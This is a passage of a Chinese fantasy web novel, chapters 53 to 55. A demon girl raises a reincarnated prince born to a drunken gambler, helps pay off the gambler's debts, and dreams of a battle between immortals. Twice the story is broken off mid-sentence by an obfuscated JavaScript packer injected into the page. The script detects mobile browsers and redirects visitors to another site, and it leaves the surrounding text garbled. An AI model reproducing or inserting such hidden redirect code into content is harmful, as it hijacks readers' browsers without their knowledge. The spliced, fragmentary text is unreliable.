黯然的情绪忽然被赶跑,这一番硬气又很有道理的话,真的是出自宝芝口中?她拽了拽她的袖角,小声提醒道:“我没什么,你不要这么大动肝火。” “你不要当一个逆来顺受的受气包,有些人就是欺负你老实,我们虽然是妖,但绝不能做任人宰割的羔羊!” 义愤填膺在别人脸上或许会得到重视,可放在宝芝那张肉肉的脸上,只会让人忍俊不禁,景羽的神色微一松懈,嘴角间无意溢出一丝浅笑来,不过当他意识到后,忙又肃起来,好像什么都没有发生过。 “太子殿下是天帝之子,绝不会恃强凌弱,对咱们这种修为低微的小妖下手。”说到恃强凌弱的时候,朝曦特地语气加重,她知道任何异界生灵均不得在凡界施术,但不知道天帝的孩子会不会例外,保险起见,她只好在道德层面下手,让他绝了对她们出手的念头。 “太,太子殿下?”宝芝脸色错愕,万没想到自己难得硬气一次,对方竟然是天界太子。她摸了摸脑袋,尴尬的笑了笑,从袖兜里掏出一包小食,捧了过去:“这小包子汤汁浓郁,味道鲜美,我一动未动,太子殿下也尝一尝吧。” “包子?”景羽皱了皱眉头,拒绝:“本君不吃,你自己留着享用吧。” 他无意理会,意识全被牵扯在那间破房子里,那妇人哀嚎至极,看来已经到了最后时刻,朝曦屏气凝神,不敢错眼,在一阵鸡鸣后,倏忽一道水光飞入房中,便听见婴儿响亮的啼哭声。 “殿下。”朝曦松了口气,透过那破烂的窗子看到了浑身通红的婴儿,妇人躺在泥榻上,在浑身瘫软无力,羸弱极了,完全顾不上这哭的上气不接下气的小娃娃,景羽却在这时叹了口气,转身要走。 “太子殿下要走么?” “南溟已经顺利转世,再做逗留很是多余。怎么,你还要在这儿?” 她点了点头:“我不太放心他。” 他默了默,道:“你若干涉他的凡间气运,必遭反噬,不得善终。” 如今的日子大都是过了今天没有明天,常常在生死边缘徘徊,这种警告便不觉得有什么了,想了想还是敷衍道:“我不会的。” 景羽转瞬不见,至此二人才算松了口气,宝芝看见南溟顺利出生,便了却心思的将包子几口吞了下去,也准备离开,可走了几步后发现朝曦还在原地,她这才知道她根本没有要回去的打算。 “都已经顺利出生了,咱们就不要在这滞留了吧?” “你方才没听到景羽太子说,殿下此世要受尽人生八苦?” “听到了,可那又怎么样呢?” “我打算照拂照拂他,替他分担一些这人生八苦。” “那你也没听见他说,不得干涉南溟殿下的凡间气运,否则会遭受反噬?” “听到了,不是说施术才会反噬,那我便不施术就是了。”她语调轻松,仿佛在说一件十分不打紧的事,事实上她决定 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“糟了!”她闯进门去,双指探上妇人的鼻息,搭了手腕上的脉,在确定她确实没了生命迹象后,鼻尖不由一酸。她抱起已经哭的嘶哑的婴儿,看着旁边不舍离去的妇人魂魄,叹了口气:“一出生便要经历生离死别,可真应了景羽的话,哭一哭吧,凡间母子一场,也算尽孝了。” “这,这可怎么办?”毫无凡间经验,宝芝有些不知所措,朝曦找了块布将他裹好,学着之前见过的妇人怀抱婴儿的样子,笨拙的哄抱着,然而他的啼哭仍然不得缓解。 “怕是饿了。”见窗外天色已亮,朝曦便吩咐道:“宝芝,你去周边的住户先借点羊乳牛乳什么的?送过来之后,再打听打听这家是什么情况。” “嗯,好,我这就去。”宝芝不敢延误,立刻跑了出去。 怀中小儿啼哭不止,扰的她几近心衰力竭,原来生养孩子是这么麻烦的事,怪不得凡界有句话叫宁挑千斤担,不抱肉墩墩,也不知道那些妇人明知如此为何还要冒着失去生命的危险也要诞育孩儿,想了想实在忍不住说道:“殿下啊殿下,饿一顿没这么要紧吧?” 这么一说,婴儿的哭声竟然停住,一双清澈莹亮的眼睛童真的看着她,脸颊上的泪水还未褪去,竟小嘴一扬换了笑脸。 “我就说吗,少吃一顿又不会死。” “哇啊……” “宝芝!!!” “哇……” “奶来了,奶来了,刚挤的羊乳!”听到了呼唤的宝芝提了一小桶奶跑了回来,她慌张的寻了只破旧的碗,盛了那浓白的乳汤喂入他口中,一勺又一勺,喝的香甜,饱腹之后,便乖乖的睡下,只有不时抽泣几声。 “祖宗啊,可算是安静了。”朝曦将他轻放在榻上,双手捏了捏酸疼的手臂。 “这般累吗?”打量这娃娃,并不比一只水桶重,宝芝有些看不懂她这副劳累的样子。 “你可以试一试,待会儿我去挤羊乳,你看着他。” “不是说我只需要吃吃喝喝陪伴你就好么?” “呃,我是这么说的,可宝芝你从来仗义,定然不好意思看着我一个人劳心劳力的,对吧?” “这?” “我去跟周边打探一下这家的情况,你看着他。” 当然不等她拒绝,便一股烟似的溜走,脸色为难的宝芝左看看熟睡的娃娃,右看看凉透的尸身,一时有些手足无措,忙碌之后腹中不觉有些饥肠辘辘,看着旁边剩下的羊乳,她咽了咽口水,一番思想斗争终究没能忍住,舀了两勺送进嘴里,浓香的味道让她忘记了旁边那嗷嗷待哺的婴孩,三口五口便将那奶喝了个干净,她用袖子拭了拭嘴角,恍然想起,这里唯一有些奶水的母羊,方才已经奄奄一息了…… 53. 临时内容 朝曦拎着空桶回来,像一只斗败的斗鸡一样垂头丧气,她真的没想到,南溟的凡界人生竟然这般艰难,一出生母亲便过世,父亲又是个赌徒酒鬼,家徒四壁,糊口不能,眼下村里唯一一只产奶的母羊,竟然也死了,北斗星君这命簿做的,可谓是狠啊。 回到破房子时一个衣衫褴褛的中年男子正躺在门前,朝曦趴近他看了看,浑身酒臭,一定是南溟凡间的混账爹了。 “?!醒醒!”不轻不重的踢了两脚,没想到他睡的格外沉实,一点也没有要醒的意思,气从中来,朝曦提起旁边的水桶,哗啦一倒,便将他浇了个透,这才惊醒过来。 “你,你是啥人?为啥子浇我一身水?” “浇你水?”看着他穷横的嘴脸,朝曦作出一副你横我更横的样子,凶道:“我恨不能刚才浇在你身上的是热油!” “你这女娃,好狠毒的咧!我老钱是哪里得罪你了,你要浇死我!” “我狠?你瞧瞧你这房子里,你的老婆给你生下了儿子,便撒手人寰了,你那小儿饿得哇哇哭叫,你却不知在哪里鬼混,一早又在这挺尸,你说,你这种败类怎么还配活在世上?” “你说啥?儿子?我有儿子了?”老钱迅速爬起来,跌了一跤后闯进门去,朝曦仍然提着桶,听见里面老钱尖锐的声音在兴奋的嚎叫着:“儿子!儿子!我有儿子了,我老钱也有儿子了!” 高兴是真的高兴,可她心中尚存着一丝期望,期望这个精纯无添加的人渣能够在喜悦之余多少怜悯哀悼一下为他产子丧命的老婆,然而,他从始至终那欢天喜地的模样,无一不体现了他的寡情冷血。 朝曦愤恨的闯进门去,似一道风疾速啸到他身前,阴森森的瞪着他道:“你打算如何安葬你这亡妻?” “安葬?山沟过去便是乱葬岗,没钱的人家都将家里的死人送那去,我这避雨遮风都费劲的门户,吃饭都困难,更没有银钱来为个死人做这些花哨事,我得空便将她也送去那边罢了。” 他一副理所当然的样子,朝曦抑制着就要喷薄而出的怒火,为襁褓中的南溟感到担忧。 “你这么对待亡妻不觉得亏丧良心吗?” 说到良心,宝芝都觉得抬举他了,遂当即批判说:”他若是有良心,老婆何至于独自生产而亡?” 的确是这般道理,朝曦平了平心中之气:“罢了,你老婆我们帮你葬了,你从此可要好好照养这小娃娃。” 老钱一听,脸上的喜色戛然而止,也不知他心中又要琢磨什么阴损主意,但看那双细窄狭长的眼中,眼珠提溜,总归不会是什么好事。“二位是何人哪?” “过路的。” “侠士义举,我老钱深谢。不过二位也看到了,我这境况,连自己都养不活,想要好生照养,恐怕也是有心无力,唉。” “那请问这位父亲,你想怎么着?” “若是有人资助一些,帮衬一把,我想我们父子的日子会好过许多。” 宝芝冷冷一呵,看着这张夹带着狡猾的邋遢面孔,不由心中忿忿,没想到人类之中竟有如此贪婪无耻之徒。而朝曦看出她的思想活动,一副见怪不怪,要知道,人类也不尽是良善忠义之辈,在凡界厮混的那段岁月里,比这凶狠恶毒的多了去了。 “这个老鸡贼,定是看出咱们顾惜殿下的处境,心肠软好拿捏,趁机讹诈咱们。” “穷,确实是穷,不过见他方才的喜悦,若是予他些钱财,他应该会好好对待自己的儿子吧,这总比重新找个人家养育他稳妥多了。” 宝芝也深觉有道理,她一面点头一面问出了一个非常重要的问题:“朝曦你有钱吗?” “呃……” 面对朝曦的犹豫,老钱登时露出了现实的嘴脸:“没钱?这世道,果然不能以貌取人啊,相貌穷酸必定没钱,可生的华丽秀美的也不见得富裕,我说你们自己都囊中羞涩,还有心思管别人家闲事,去去去,赶紧走吧。” 受神仙的气就算了,怎么连个凡人赌徒也敢来小看自己?朝曦屏息凝聚法术惩治于他,宝芝看见这一幕慌忙按下她的手臂:“你是忘性太好还是记性太差?那太子说的话就这么不入你的脑子?” 太子?话?对了,反噬!她赶紧抽回了手:“好险,好险,幸亏宝芝你及时提醒,否则后果不堪设想。” “我们在这总是不安全的,朝曦,还是回去吧。” “回去也可,只是殿下处境尚为艰难,你忍心眼睁睁看着他幼年受苦吗?怎么说,他对咱们乌榆林都是有恩义的,我相信宝芝你绝不是那种忘恩负义的人。” “……”宝芝呆呆站着,每每她说的话,总是让自己无言以对,也不知是她太聪明还是自己太笨。 朝曦拍了拍她宽硕的肩膀,安慰说:“等殿下的处境好一些,咱们就回去。” “好一些?你便哄我罢,景羽太子说了,他要受尽人生八苦,只怕这辈子都不能好一些了。” “……"这朵蘑菇,越来越聪明了。 “老头,你且等着,我去给你找钱,届时你若再找理由亏待这娃娃,看我怎么弄死你。” 老钱闻听一怔,略略被唬住,看着这容姿不凡的女孩,言行粗鲁凶恶,实在有负她这皮相,不由的感叹造物可惜。“这是我的儿子,我当然会待他好。” 虽然妖界也有互市交易,货币买卖,但似她们这等不出门的山野妖精是完全不用为此发愁的,故而乍一需要钱财,二人便有些无所适从,一时不知由哪下手。 大话已经出口,自然不能落了空,苦思自己和宝芝没有钱,可身边的朋友却有不少富裕的,朝曦想到了一向殷实的狐族,想到了弥斐,就算是庚酉丹妩,也定是有些积蓄的,最最不济,那暮闲也是能指望的上的,她窃喜了好一会儿,然而这一切终因为不能使用法术而落寞作罢,无奈之下她想了一个很现实的办法:“宝芝,你这么胖下去着实不好,不如你出去打打工,赚些钱吧!” “什么?” “救人如救火,城中有家酒楼缺个洗盘刷碗的伙计,咱们跟老板先预支些银钱,待我解决了眼前急事,我便去赎你。” “我……” “就这么定了。” 面对这个决策者,宝芝完全不知该如何拒绝,她一路犹豫着,打定主意要分道扬镳时,朝曦已经跟老板商量好,并拿到了钱,眼见她利落的办好了一切,宝芝也只能认命:“你可要快一些来赎我。” “那是当然,我同老板说好了,一定要在伙食上格外优待你。” “真的吗?” “嗯!真的!” 二人告了别,朝曦一溜烟不见了踪影,宝芝只当她心系南溟所以跑得快了些,而她则沉浸于这优渥的条件中满心欢喜,全然没想到凡界最最现实,似这等又是预支银钱又是优待伙食的好事,怎能这么容易办到?纸包不住火,很快,她便得知了事实的真相。 酒楼的一个小伙计问她:“你看起来不像是短缺吃喝的人,可是家中遭逢变故,才不得不签了这长期的身契?” “长,长期?是很多年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12964275|135497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” “六十年,算是咱们全城最长的了。” “六十年?!”她不可思议,怪不得老板答应的如此痛快。“倒也无妨,这身契不过是应急之计,我朋友很快便会来赎我。” “喔,原来是这样,看来你家的确富裕,不然这千金的违约钱,可是够寻常人家喝一壶的。” “什,什么……千金?”宝芝脊背一紧,心中惴惴,不觉沁出些汗来,一面感叹着这个霸王条款,一面又担忧着,朝曦会不会食言。 而从酒楼老板那提了一百两金元宝的朝曦,喜滋滋的跑回青山村时,发现老钱整个人高兴的近乎疯癫,致使他这般的原因,则是房里放置的两只樟木箱子,她打开来看,一箱金银,一箱珠宝,实实在在,童叟无欺。 对比之下,自己袖兜里的这两只元宝,着实不够看的。 “这是哪来的?” “我老钱真是有眼不识泰山,姑娘家财万贯,你前脚刚走,府上便遣人送来了这些,瞧这手笔,啧啧,定让那户长全家无地自容。” “是何人送来?” “一位女子,举头手足散发着贵气,端庄,一看就是名门贵女,神仙下凡。” 说罢,便又一头栽进那金银珠宝里,朝曦依他所言,对号入座的回想着,在自己的脑中有这些特点的人,仅有一位,便是认识不久的那位若飞姐姐。 “朝曦。” 屋外一阵悦耳柔声轻唤,她跑两步迎出门去,见那鹅黄细纱飘逸,身姿曼妙如拂柳,果然是若飞。 “若飞姐姐?你怎么来了?” “恰巧途径此地,看到你隐了灵息,便知你在凡界要经历一番,我见你二人形容为难,便顺手送来了这些,可能够解决你的难处?” “能,很能,其实不用这么多的,那赌徒贪婪无尽,纵是再多也填补不满。这些金银数值不菲,待我回去后,一定还复给姐姐,不知姐姐府上是?” “只是一些身外之物,不必客气。”她温润一笑,只让朝曦更加觉得有钱真好。 “我虽是妖,也没什么地位,但我是知礼数懂道理的,普天之下岂有白白受人财物的道理?姐姐若是觉得同我来往不便,我便托亦棠君,就是上次同我一起的那位,让他代我送还好了。” “你多虑了,朝曦。” 屋中婴儿哭声又起,朝曦可以想见那老东西一定只顾沉浸在财物之中,完全将孩子抛诸脑后的情形,她一抚心中愤慨,但还是忍不住骂了骂:“这个老赌鬼,老财迷,等去了冥府,看你如何消受这份罪业。” “这孩子是?” 这应当是机密吧,朝曦想了想,虽然觉得瞒着若飞很是过意不去,但还是要守口如瓶。“是我的一个朋友,犯了些小错被罚下来的,原以为只是尘世里经历一番,没想到这么艰苦,我不忍心,便过来照顾照顾他。” “原来是这样,可你要在这多久呢?异界生灵不可在凡界施用法术,这你可知道?” 她点了点头:“知道的,只要殿……我这朋友生活不成问题,我便不在此干扰他。” “嗯,我眼下也没事了,正好对过那座山中有方大湖,适宜垂钓,我便在那歇脚几日,你若有事,可用此物传声于我。”话音未落,便递来一只小巧玲珑的短萧,上面还系了只蓝色的同心结。 朝曦接了过来中仔细捧着,忽而想到一个问题:“可是这么传声,会不会算作施法了?” “放心好了,这个不算。” “那便多谢若飞姐姐你了。” 54. 情真意切 南溟是一个很有盘算的神仙,朝曦从来不认为他会需要自己来帮衬什么,若硬要找些价值,那便是能让他开心一点点。 景羽说的人生八苦,他一落生便经历了生死离别,朝曦虽然没有切身体会过这些,但从往年见闻来看,这八苦,的的确确是凡人难以消受的东西,印象里似乎听谁说过,这便是凡世的劫。 思及此,她彻底抛开了自己来时的承诺,打定心思尽自己最大的能力,保护照顾他,让那八苦不那么苦,直至这一世终老。 考虑要长居凡间,不好再像从前一样露天而宿,言行举止又一概要像个人一样,这样,她们便需要一个栖身之所,在村民那儿打听到,这里的房屋多是户长王富贵所有,要租借房屋须得找他协商,朝曦打算今晚睡个好觉,抬脚便转往那土财主王富贵家去,只是没走几步,便在街上偶遇到老钱,正抱着小儿逢人炫耀,她的心头登时窜起一团无名大火来。 三两步飞快跑到他面前,朝曦抢过孩子,单手揪着他的衣襟举他起来:“你是哪辈子的造化,也配做他凡间的爹?” “我,我怎么了?你这丫头,好生粗鲁,不分青红皂白就要摔打人!” “青红皂白?你个混账老东西,只顾自己炫耀,看把孩子饿成什么样了?” “你又没给打奶来,我拿什么喂他!” “……”朝曦语滞,想自己游走凡间多年,像老钱这样的无赖见过不少,可真当自己与他们有了交集,便感觉十分暴躁。 老钱挣脱下来,脸色蛮横骂骂咧咧:“你们甭以为扔下几个臭钱,便想叫我看家顾子,我我老钱堂堂男子汉大丈夫,胸有鸿鹄之志,岂能窝在家中做这妇人之事?” "一个赌徒酒鬼,能有什么鸿鹄之志?哦,你是要在赌桌上大杀四方吧。你少费话,你只说以后怎么照养你这儿子!” "姑娘一开始管了闲事,便没有半途撒手不管的道理。”他一副理所当然的样子。 “....."朝曦很后悔,不该对一个无赖寄予信任,没有人性的人,你怎么能要求他有父母之心呢?她咬牙切齿,却又不能立刻拿他怎样,只能在心中暗暗将他家祖宗问候了个遍。看着这个南溟托生的小孩,日渐消瘦萎靡,也没功夫再搭理他,于是便抱着他转身回去。 “慢着,你要将我家万贯抱去哪!” 万贯,钱万贯。她信手抄起旁边菜摊上的一颗大白菜,朝他狠狠砸去。 既不能使用法术,又没了宝芝的帮衬,独自带着孩子的朝曦感觉到很吃力,在邻居家借了些汤羹喂饱小孩儿后,便跑去了户长王富贵家租借房屋,她自己对这些穿戴住宿是无所谓的,但眼看着南溟一出生便要在这不蔽风雨的破落户里生存,心中便觉得辛酸,她想,反正若飞给了很多钱财,租户富裕舒适的,总不是问题。 然而,可是,她真的没想到南溟的人生会这么坎坷,王富贵和他的黑心老婆百般刁难故意抬高租价,这些就不说了,自己好不容易认宰,却发现家中的钱财全都不见了。 她找遍了这村落的每一角,都寻不见老钱的踪影,直到三天后,两三个人跑来家里,说要她去村口领人。 朝曦一头雾水,还不知道发生了什么事。邻居家的丈夫知道些内情,便来告诉她:”这老钱又去赌了,以往都是附近的小堵坊,这次竟胆肥的跑到山下城里去赌,三日输尽了金银不说,还欠了好些债,让人打得半死连着一沓欠条扔了回来,那些大汉个个心黑手狠,将老钱揍的面目全非,提溜着如同一只鸡仔,几人声称三日后来取债款,若见不到钱,便来拿你和孩子抵。” “我和孩子?人家怎么知道我和孩子?” “肯定是老钱那没人性的家伙告诉的。” “呃……”钱没了,房子也泡汤了,除此之外还要背上一身债务,一贯乐观如她,也不由的叹了口气。 朝曦看了看襁褓中安睡的小孩,想到南溟临走前告诉过自己,他此世的寿元是九十八岁,脸上只能展出涩涩苦笑来。 仍旧抱着孩子,随那几人去了村口,确如他们所说,老钱几乎被打得半死,距近看,还有濒死的征兆。 如若死了,倒也清静了,反正这样个爹,有没有也没什么分别。她转过身,准备折返回去,而躺在地上的老钱颤颤发出一阵呻吟,伸手向她求救,余光睨见那可怜样子,朝曦心中又泛起微许不忍。 她叹了口气,无赖是真的无赖,可到底也是一条生命,想到白鱼家的嫂嫂曾说过世间有很多无奈,便是这样。环了环四周,村民们个个是面目冷漠,多是看热闹的情景,这里也唯有肯借些汤羹的那家邻居心肠好些。“劳烦大哥,帮忙将他抬回家去。 “你确定要救他吗?瞧他这样,即使寻来名医,也不见得能治好。” “这到底是孩子的父亲,总不能看他自生自灭,抬回去吧。” 村民们目光灼灼,朝曦只是眼光轻轻扫过便看穿他们的想法,老钱这样的人户,怎么会有亲戚愿意来往?所以,对于自己的突然来临,众人充满了警惕怀疑。 “我其实……” “不论你是谁,你既然到了他家,这债务就得由你担起来。可别想着逃跑,到时候连累咱们!” 声音刻薄尖锐,出自于一个妇人之口,她这一句不打紧,点醒了众人跟着起哄,纷纷嚷嚷,吵闹叫嚣:“把村子守严实了,不能让她跑了!” “只守着村口怎么行,我看得守在她家门口!” 一边说着还不行,兼着指手画脚,个个义愤填膺,同仇敌忾,像是一群正义之士在讨伐大恶人一般,朝曦看着这群凶蛮人氏,心中只念此地民风彪悍。 “我跟这家没有半点关系,凭什么替他还债?” 见她分辩,那位挑起事端的妇人便不依不饶了,开始胡诌攀蔑:“没关系?没关系你上赶着替他照看孩子?依我看,你定是他在外面养的小妾,他亡妻尸骨未寒,你便着急登门入室,现下老钱不行了,你却着急摆脱,天底下哪有这么便宜的好事?” 说罢,从人群中飞来一只布鞋,正正砸中她的额头,朝曦捂着脑袋,心中火气喷薄,本想拿出力气来打一架,但想到双拳难敌四手,最后可能会被他们痛扁一顿,故而又将这火气压了下去。 “果真是穷山恶水出刁民,一群人欺负一个姑娘家,不觉得没皮没脸吗?” 打抱不平的声音从来都很动听,并着一丝熟悉,朝曦仰面四望寻找这位好汉,戏文中说这样的侠士,一般都是飞檐走壁现身,南溟也很好的诠释过,所以她对此深信不疑,只是看了半天,也没有那位英雄的踪影,反倒是人群里,慢慢挤出一个人来,她睁大眼睛一看,通身墨绿,戴着面具,原来是暮闲。 又一位陌生来客,村民们脸色更加戒备。“你又是哪个,来管咱们村的闲事?” 暮闲理了理装发,恢复往常那股子骄矜劲儿:“我不是哪个,你们村这点儿破事跟我这屁都不是,但是!” “但是什么?!” 他气定神闲, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008518|135497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浑身透着那睥睨众生的高傲姿态,朝曦看不懂,他明明是个妖,为什么搞得像个神仙一般清高。 “这位姑娘是我未过门的妻子,你们污蔑她,刁难她,我便不能容忍。” “暮闲君,我记得我没有答应嫁给你。” 这种拆台即便他戴着面具,也不妨碍脸色忽变,暮闲慢慢挪近,恨铁不成钢的咬了咬牙:“你是榆木脑袋?我这么说还不是为了解你困境?” “这种困境没有那么难应付,倒是我,若稀里糊涂的应下了暮闲君你说的这桩婚事,可就说不清了。呵呵。” 他双唇开合,竟驳不出什么来。 “婚姻大事,不可儿戏。”她认真恳切道。 “你看这女子都不承认,你这登徒子休要多管闲事,赶紧滚出这里!” 才被无情拒绝,便马上给他扣了顶登徒子的帽子,朝曦摇了摇头,心想这人太没眼力界了,同时也很为他担忧。 果然污蔑会激发一个人的战斗力,暮闲瞬移到他面前,手中旋出一把铁扇,三两下便利落的削去了他的须发,那人惊怔在原处,被喉间的铁扇抵住不敢说话。 “我不是吹牛,但凡我这腕子偏一些,他便一命呜呼了。还有谁要试一试?” “……” “我这位朋友家中是养蛇御蛇的好手,不管蝮蟒什么的都可轻松驱使,这山野荒岭的,必定有不少藏匿在丛洞里,若引一引,数百条总不是问题,对吧?” 暮闲点了点头,这帮刚刚还很彪悍的村民,此刻脸上的蛮横已经开始瓦解,有两三个不见棺材不落泪的,在暮闲的袖兜里放出几条蛇后,吓得连退了几步,再也不敢多话。 “你们只要把这债平了,想去哪没人拦着。” “要不,给他还了吧?父债子偿,我们不还,终归也是要落到殿下头上的。”朝曦考虑了一下,说。 “我们?”暮闲双手揣着袖兜,漫不经心的拒绝:“你是你,我是我,咱们什么时候这么不分彼此了?” “那你借我些钱,等回去还你。” “呃……我来的匆忙,没带。” 好不容易维持的气场一下子松了下来,朝曦按捺着笑意,勾起嘴角冷讽一笑,按原路回去:“原来是没钱啊。” “我只是没带。” “不用解释,你即便带了也不见得会借给我,因为你这个人小气吧啦的。” “我小气吧啦?”他紧紧跟上,发觉朝曦的腿脚比之前快了不少,看来是修为在不知不觉中精进了。“我小气会不远万里跑来为你解困?曦儿你如此没有良心,太伤人了……” “暮闲君,我觉得你还是好好找个姑娘成家安顿吧,你成天这样游手好闲,招猫逗狗,没人会相信你是妖族的大佬,而会以为你是个无所事事的二流子。” “……” 回到钱家,朝曦放下熟睡的孩子,松了松酸胀的手臂,而一路跟回来的暮闲看到这家的穷困,十分嫌弃:“你要住这儿吗?” “没钱,就没得挑剔喽。” “你对南溟,果然是情真意切。”他的面庞和声音,俱是黯然失落。 “是,也不是。” “怎么说?” “我对殿下的心情,不好描述,但是我觉得我待人,都是很情真意切的。” “比如呢?” 她不加多想,信口说道:“比如哪天你要是不行了,或者残废了,我也绝对会好好照顾你的。” “……” 55. 清明 暮闲不声不响的来,不言不语的走掉,这条大蟒蛇,可真是奇怪。 老钱没有熬过去,傍晚便死了,临死前他托孤给自己,还有一块破布包着的铜疙瘩,打开看竟是一枚印玺,他说他的家族在三百年前是一个叫小星国的皇族,历经几代人都没有复国成功,而他如此好赌是想筹集一些复国的经费,好酒则是因为每次筹集经费都失败了。 这真是一个好理由,她捏住嘴角忍住不让自己笑出来,以表示对一个将死之人的尊重。 老钱还是希望,自己的儿子能够复国成功,朝曦捻指一算,透露天机说他的复国遗愿能够成真,只不过国祚很短,昙花一现而已,朝曦隐去了后半句,让他老怀安慰的去了。 “我真是一条善良的蛇。” 连夜将老钱火葬后,朝曦拖着一身的疲惫躺下,窗外月亮高悬空中,月光如许,映照在小娃娃稚嫩的脸上,格外晶莹,她侧过身来,捏了捏他的脸蛋,摆弄了两下那浓密的睫毛,笑着叹了叹:“父母双亡,六亲俱无,殿下可是与北斗星君有什么过节?” “对了,你还没有名字。” “混沌一朝开,天地皆清明,清明,从今天起,便以它为名吧,但愿这个名字能将你命中的坎坷不顺压制一些。” 睡意迷迷糊糊上来,眼皮好似千斤重,再睁不开,眯缝里月光凝成一道线,引她轻盈入梦,还是那个梦,还是那间青竹小筑。 不同前次,今日梦境里的景色不再鲜活,草木皆枯,满目萧然,看着冷清的很。朝曦想要进去,发觉脚步被固住,无法靠近,只能远远看着。 山风掠过时,竹林摇曳,一个老者忽然出现,悬空站立,他怀抱拂尘,面色凝重,不错神的盯着竹屋,等着要见的那人出来出来,而他的右臂背在身后,悄悄凝出了一只晶黄色的珀,这色泽品相同亦棠那日所幻的沙晶印盘似出自一脉,修为纯净高深,旋绕于他周身,朝曦在一阵熟悉中恍然记起,老者便是雾仪山的范懿,那个老态龙钟,常常嗜睡的老神仙。 不过这梦里的他,看起来要年轻许多。可他在等谁呢?是这家的男主人,还是被男主给了当胸一剑的女人?不管是谁,看他这般,定不是来度化劝说的。 朝曦替他担心,因为范懿身后的那团晶珀越聚越强。 竹屋的门吱呀打开,昏暗门缝里走出一个黯然身影,他披散着发看不清神色,脚步沉重缓慢,失魂落魄一般,与之前梦见的那个翩翩少年郎,大相径庭。 范懿看见他,嘴角微弯,但看到他怀中的两个婴孩时,满脸藏匿不住的惊愕。 “冤孽啊。” “谈情和诞育生命,本是天地伦常,若这也是冤孽,那你说来说说,什么不是冤孽?” “大道至清,你身负重任而生,却违背天界法度与妖魔厮混,如今又诞育妖魔之后,种种行径已经为六界不容,你若再冥顽不灵,天界不会再宽恕于你。” “大道至清,大道也无情,我不管你那套天界魔道,正义邪恶的理论,我此一生,只守护我的妻儿安稳快乐便知足,可你破坏了这一切。”他嘴唇干裂,不知经历了什么,但话中的冷蔑讽笑,已经藏匿不住他心中的恨意。 “乱花渐欲迷人眼,你如今所经历的,皆是假象,陷在执念里不肯出来,最后只能是永坠魔道回头无路。 “回头?谁要回头。” 从来决心不需多说,只简单一句便足够,他将怀中婴儿轻轻放下,起术布了个屏障,与此同时,朝曦从一派紧张中察觉到了那抹熟悉气息,她心中惴惴,几乎可以确定时,男子已经腾身飞起站到范懿的对面,他祭出宝剑,强大的仙泽愈渐躁动,天地感知时,风雨交加雷电轰鸣,长发卷进风里,他挺身屹立暴雨之中,金刚怒目。 交战中那张脸映入她的双眼,抑不住心中惊讶:“殿下?” 范懿身后的晶珀已经凝聚完全,老神仙将它捧在手中,滞留不动,似乎对他还抱有一丝希望,可他的双眼被墨色充斥,仙泽也渐渐浑浊,看来就要魔化了。 他似南溟,可又不像南溟,南溟从来仙气纯正,南溟的脸上,也没有这样的戾气。 二人各自腾起,在竹屋的上空不断上升,他们的身影渐渐渺小,最后只看到晶黄与黯蓝的光球对峙,在最终的激烈碰撞后,竹屋为那迸发出的强大气流冲击,轰然倒塌,而朝曦担忧那房前的婴孩,想闯进去护住,可惜仍然无法走进。 过了不知多久,她的意识察觉到这场对战结束,睁开眼睛,只见上空清朗安静浮云卷卷,狂摆的竹枝渐渐停下,眼前已是一派安宁祥和,像是什么都没有发生过,她不知男子和范懿的去向,心中只牵挂着那两个婴孩,再次试着走进时,发现阻碍自己的那股气流已经不见了。 竹屋已经成为一片残墟,或许是男子布下的屏障起了作用,尽管断竹七零八落,孩子是安然无恙的。 两个婴孩的啼哭声高亢洪亮,朝曦看着他们一时有些手足无措,她伸手拍了拍他们,发觉屏障不在,通常这种情形,多半是施术者已经殒命了,正当她不知道该怎么办的时候,一个满身血迹的身影摇摇晃晃朝这走来,是他。不过,他的气息羸弱极了,她丝毫感觉不到他生命的迹象,飘飘零零的,像是一缕魂。 他从她的身边走过,俯下身温柔的看着这两个婴孩,此时她彻底看清了他的面容,与南溟一般无二的脸,不过与刚才极为不同,现在的他,毫无一丝正气,额宇间正有新的灵息滋生,是魔气,坠魔的他形容气质分明是暮闲。 他露出那清朗的笑容,婴孩不再啼哭,一袖轻轻扫过,三人瞬息不见。 于一阵响亮的啼哭声中,醒来。 脑袋沉重,不知道为什么,每次做到这个梦,便感觉消耗很多,而伴着浑身无力,五内俱感沸热难耐,她想这便是当日若飞说的服用了那药丸的症状。 抱起清明走出屋子,人间五月,太阳是温和的,它折射出七彩的光棱给予人新的希望。 “既来之则安之,我一定尽全力,让殿下你此生快快乐乐。” 老钱把钱糟蹋干净,自己倒无牵无挂的走了,现在看来,什么都不留便算他仁义了,可他倒好,留下了一块用处不大的铜疙瘩,还有一堆欠条。 朝曦是不介意当一个老赖的,但是一向重视清誉的南溟,是不允许自己有这种污点的,回去以后若是知道自己拐带他赖账,不知道要费多少话。 对于目前的窘迫,左不过是一个钱字,其实想解决这件事说难很难,说容易又容易的很,敞亮的若飞还在对面的山里,她已经借了那么些钱,又给了短箫,自然是不介意再借一些的,但是朝曦觉得活着总有诸多困难,不能总是麻烦别人,于是便放弃了这条路。 “我真是一条有骨气的蛇。” 